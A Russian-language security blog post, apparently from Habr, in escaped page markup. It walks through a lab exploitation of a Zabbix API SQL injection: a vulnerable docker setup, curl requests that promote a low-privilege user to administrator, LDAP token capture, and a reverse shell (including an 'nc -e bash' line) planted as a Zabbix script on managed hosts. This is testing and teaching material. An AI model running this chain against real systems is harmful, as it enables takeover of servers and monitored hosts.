curl -X POST -k http:\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.update\",\"params\":{\"userid\":\"3\", \"roleid\":\"3\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}'<\/code>
\u041e\u0442\u0432\u0435\u0442
{«jsonrpc»:»2.0″,»result»:{«userids»:[«3″]},»id»:1}
\u0420\u043e\u043b\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u0435\u043d\u0438\u043b\u0430\u0441\u044c, \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u0448 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0440\u043e\u043b\u044c\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435<\/p>\n

<\/figure>\n

\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435<\/h3>\n

LDAP<\/h3>\n

\u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0439\u0442\u0438 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LDAP, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043e\u0442\u043b\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 c \u0447\u0435\u043c-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 JWT \u0442\u043e\u043a\u0435\u043d:<\/p>\n

<\/figure>\n

\u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d (\u043d\u0430 jwt.io), \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 :<\/p>\n

<\/figure>\n

\u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0443\u043c\u0435\u0441\u0442\u0435\u043d \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d LDAP<\/p>\n

\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Zabbix<\/h3>\n

\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 (\u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434):
\u0417\u0430\u0434\u0430\u0435\u043c \u0438\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430 -> Type: Script -> Execute on (\u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u0433\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f) -> Commands \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 (\u0431\u0440\u0430\u043b \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 Python3 \u043d\u0430 revshells.com, \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0438\u0434\u0430 «nc -e bash ip_address port», \u043d\u043e nc\/ncat \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435 \u043d\u0430 \u0432\u0441\u0435\u0445 \u0445\u043e\u0441\u0442\u0430\u0445, \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u0440\u0438\u0433\u0435\u0440 \u043d\u0430 nc\/ncat, \u0441\u0447\u0438\u0442\u0430\u044e \u0447\u0442\u043e python\/python3 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c)<\/p>\n

<\/figure>\n

\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u043c\u0441\u044f \u0432 «Actions» \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438<\/p>\n

<\/figure>\n

\u0422\u0435\u043f\u0435\u0440\u044c \u0435\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442\u044b \u0443 \u043d\u0430\u0441 \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u044b\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043c\u044b \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 (\/etc\/zabbix\/zabbix_agentd.conf, \u0441\u0442\u0440\u043e\u043a\u0430 ServerActive \u0437\u0430\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 «EnableRemoteCommands=1»), \u0442\u043e \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u0439\u043c\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c rev shell<\/p>\n

<\/figure>\n

\u0418 \u0432\u043e\u0442 \u043d\u0430\u0448 \u0448\u0435\u043b \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b<\/p>\n

<\/figure>\n

\u0414\u0435\u043b\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u0431\u0431\u0438\u043a\u0441\u0430 \u0441 \u0440\u043e\u043b\u044c\u044e \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0430(\u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439 \u0434\u0440\u0443\u0433\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b), \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u044b \u0434\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u0431\u0431\u0438\u043a\u0441, \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445.<\/p>\n

\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u043f\u0440\u043e\u0431\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API:<\/p>\n

    \n
  1. \n

    \u041f\u043e\u043b\u0443\u0447\u0438\u043c \u0442\u043e\u043a\u0435\u043d curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{ \"user\":\"test_cve\", \"password\":\"p2ssw0rd123\"},\"id\":1}'<\/code> <\/p>\n

    <\/figure>\n<\/li>\n
  2. \n

    \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0443\u0437\u043b\u0435 \u043f\u043e \u0438\u043c\u0435\u043d\u0438 (\u0432\u044b\u0434\u0435\u043b\u0438\u043c hostid:10516) curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"filter\": {\"host\": [\"hostname\"]} },\"auth\":\"fc523f26d819f5cccddcd830675514b5\",\"id\":1}'<\/code> <\/p>\n

    <\/figure>\n<\/li>\n
  3. \n

    \u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432: curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"script.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"588af5565413e089b84a4869c7fa12e4\",\"id\":1}'<\/code> \u0412\u044b\u0434\u0435\u043b\u044f\u0435\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c scriptid (scriptid:5) <\/p>\n

    <\/figure>\n<\/li>\n
  4. \n

    \u0418 \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 {«jsonrpc»:»2.0″,»error»:{«code»:-32500,»message»:»Application error.»,»data»:»Script is not allowed in manual host action: scope:1″},»id»:1} <\/p>\n

    <\/figure>\n

    \u041f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043c\u044b \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043b\u0438 \u0440\u0443\u0447\u043d\u043e\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u043a\u043b\u0430\u0434\u043a\u0435 \u0441\u043a\u043e\u0443\u043f \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043b\u043e\u043d \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0438\u0437\u043c\u0435\u043d\u0438\u0432 \u0441\u043a\u043e\u0443\u043f.<\/p>\n

    <\/figure>\n

    \u0418\u0437\u043c\u0435\u043d\u0438\u0432 scriptid \u043d\u0430\u0448 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"script.execute\",\"params\":{\"scriptid\":\"6\", \"hostid\":\"10516\"},\"auth\":\"588af5565413e089b84a4869c7fa12e4\",\"id\":1}'<\/code><\/p>\n

    <\/figure>\n

    \u041f\u0440\u0430\u0432\u0434\u0430 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043d\u0435 \u0434\u043e\u043b\u0433\u0438\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u0443\u0447\u0448\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u0432\u0435\u0431, \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u043c. <\/p>\n

    <\/figure>\n<\/li>\n<\/ol>\n

    \u041d\u0430 \u044d\u0442\u043e\u043c \u0432\u0441\u0435, \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044e \u0437\u0430 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435!<\/p>\n

    \u0412 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435:
    Nuclei<\/strong>
    \u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f, \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0435 \u043d\u0430 \u0448\u0430\u0431\u043b\u043e\u043d \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0432\u0435\u0440\u0441\u0438\u0439 Zabbix: <\/p>\n

    <\/figure>\n
    <\/figure>\n

    \u041e\u0434\u043d\u0430\u043a\u043e \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 nuclei -u http:\/\/ip_address -t zabbix_cve_template.yaml — debug \u043c\u043d\u0435 \u0432\u044b\u0434\u0430\u043b\u043e \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435:<\/p>\n

    <\/figure>\n

    \u0411\u0443\u0434\u0443 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0435\u043d, \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u043f\u043e\u0434\u0441\u043a\u0430\u0436\u0435\u0442 \u043c\u043e\u043b\u043e\u0434\u043e\u043c\u0443, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043d\u0435 \u0442\u0430\u043a \u0432 \u0448\u0430\u0431\u043b\u043e\u043d\u0435.<\/p>\n

    \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0441\u0442\u0430\u0442\u044c\u0435, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u0430 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441 CVE<\/a>, \u0438 \u0435\u0435 \u0430\u0432\u0442\u043e\u0440\u0443 @denis-19<\/a><\/p>\n<\/div>\n<\/div>\n<\/div>\n

    <\/div>\n


    \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438     https:\/\/habr.com\/ru\/articles\/877534\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"

    <\/div>\n
    \n
    \n
    \n
    \n

    \u0412 \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0432\u044b\u0434\u0430\u043b\u0430\u0441\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c\u0441\u044f \u0441 SQL injection \u0432 Zabbix ( \u2014 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u0432 \u0440\u0430\u0437\u043d\u043e\u043e\u0431\u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0439 \u0441\u0435\u0442\u0438, \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0438 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u0430\u044f \u0410\u043b\u0435\u043a\u0441\u0435\u0435\u043c \u0412\u043b\u0430\u0434\u044b\u0448\u0435\u0432\u044b\u043c<\/em>).<\/p>\n

    \u0423\u0432\u0438\u0434\u0435\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043d\u0430 \u044d\u0442\u0443 \u0442\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u043f\u0438\u0441\u0430\u043b \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a, \u0432\u043a\u0440\u0430\u0442\u0446\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041e\u0433\u0440\u043e\u043c\u043d\u0430\u044f \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u043e\u043c\u0443 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 (\u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430\u043c)<\/s>, \u043e\u0434\u043d\u0430\u043a\u043e \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0438 \u043f\u043e\u0438\u0441\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0435 \u043e\u0431\u043e\u0448\u043b\u043e\u0441\u044c.<\/p>\n

    \u0421\u0442\u0430\u0442\u044c\u044f — \u0431\u043e\u043b\u044c\u0448\u0435 \u043a\u0430\u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u0421 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e Burp, \u043d\u043e \u0438 sqlmap, API \u0441\u0430\u043c\u043e\u0433\u043e Zabbix’a \u0438 \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u044b.<\/p>\n

    \u041f\u043e\u0435\u0445\u0430\u043b\u0438!<\/p>\n

    SQL injection \u0432 API, edpoint user.get<\/strong>
    \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 Zabbix
    6.0.0 — 6.0.31 (\u0442\u0430\u043a \u0436\u0435 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0433\u0434\u0435-\u0442\u043e \u0432\u0438\u0434\u0435\u043b, \u0447\u0442\u043e \u0434\u043e 6.0.36 \u0432\u0435\u0440\u0441\u0438\u0438)<\/s>
    6.4.0 — 6.4.16
    7.0.0<\/p>\n

    \u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430<\/h3>\n

    \u041f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 zabbix \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0439 \u0434\u043b\u044f \u043d\u0430\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 (ubuntu-6.0.1)<\/p>\n

    sudo apt install docker docker.io docker-compose<\/code>
    docker network create --subnet 172.20.0.0\/16 --ip-range 172.20.240.0\/20 zabbix-net<\/code>
    docker run --name mysql-server -t \\<\/code>
    -e MYSQL_DATABASE=\"zabbix\" \\<\/code>
    -e MYSQL_USER=\"zabbix\" \\<\/code>
    -e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code>
    -e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code>
    --network=zabbix-net \\<\/code>
    --restart unless-stopped \\<\/code>
    -d mysql:8.0 \\<\/code>
    --character-set-server=utf8 --collation-server=utf8_bin \\<\/code>
    --default-authentication-plugin=mysql_native_password<\/code>
    docker run --name zabbix-java-gateway -t \\<\/code>
    --network=zabbix-net \\<\/code>
    --restart unless-stopped \\<\/code>
    -d zabbix\/zabbix-java-gateway:ubuntu-6.0.1<\/code>
    docker run --name zabbix-server-mysql -t \\<\/code>
    -e DB_SERVER_HOST=\"mysql-server\" \\<\/code>
    -e MYSQL_DATABASE=\"zabbix\" \\<\/code>
    -e MYSQL_USER=\"zabbix\" \\<\/code>
    -e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code>
    -e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code>
    -e ZBX_JAVAGATEWAY=\"zabbix-java-gateway\" \\<\/code>
    --network=zabbix-net \\<\/code>
    -p 10051:10051 \\<\/code>
    --restart unless-stopped \\<\/code>
    -d zabbix\/zabbix-server-mysql:ubuntu-6.0.1<\/code>
    docker run --name zabbix-web-nginx-mysql -t \\<\/code>
    -e ZBX_SERVER_HOST=\"zabbix-server-mysql\" \\<\/code>
    -e DB_SERVER_HOST=\"mysql-server\" \\<\/code>
    -e MYSQL_DATABASE=\"zabbix\" \\<\/code>
    -e MYSQL_USER=\"zabbix\" \\<\/code>
    -e MYSQL_PASSWORD=\"zabbix_pwd\" \\<\/code>
    -e MYSQL_ROOT_PASSWORD=\"root_pwd\" \\<\/code>
    --network=zabbix-net \\<\/code>
    -p 80:8080 \\<\/code>
    --restart unless-stopped \\<\/code>
    -d zabbix\/zabbix-web-nginx-mysql:ubuntu-6.0.1<\/code><\/p>\n

    Default web login and pass: Admin\/zabbix<\/p>\n

    \u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0438\u043c\u0435\u044e\u0442 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u0430 \u0432 Zabbix.<\/strong>
    \u0414\u043b\u044f \u0447\u0438\u0441\u0442\u043e\u0442\u044b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u0434\u0438\u043c \u0442\u0435\u0441\u0442\u043e\u0432\u0443\u044e \u0433\u0440\u0443\u043f\u043f\u0443 «Users groups». \u0413\u0440\u0443\u043f\u043f\u0430 «Guest» \u043d\u0430\u043c \u043d\u0435 \u043f\u043e\u0434\u043e\u0439\u0434\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a «Fronted access» \u0443 \u043d\u0435\u0435 \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0430 «Internal». \u0422\u0430\u043a \u0436\u0435 \u0431\u044b \u043d\u0430\u043c \u043f\u043e\u0434\u043e\u0448\u043b\u0430 \u0433\u0440\u0443\u043f\u043f\u0430 «Zabbix Administrators» & \u0433\u0440\u0443\u043f\u043f\u0430 \u0434\u0435\u0431\u0430\u0433\u0430.<\/p>\n

    <\/figure>\n

    \u041f\u0435\u0440\u0435\u0439\u0434\u0435\u043c \u043a \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0440\u043e\u043b\u0438. \u041e\u0441\u0442\u0430\u0432\u0438\u043c \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a API. (\u041f\u043e \u0434\u0435\u0444\u043e\u043b\u0442\u0443 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0443\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043d\u043e \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u044b\u0435 \u043a\u0440\u0435\u0434\u044b \u043f\u043e\u0441\u0442\u0430\u0440\u0430\u043b\u0438\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c)<\/p>\n

    <\/figure>\n

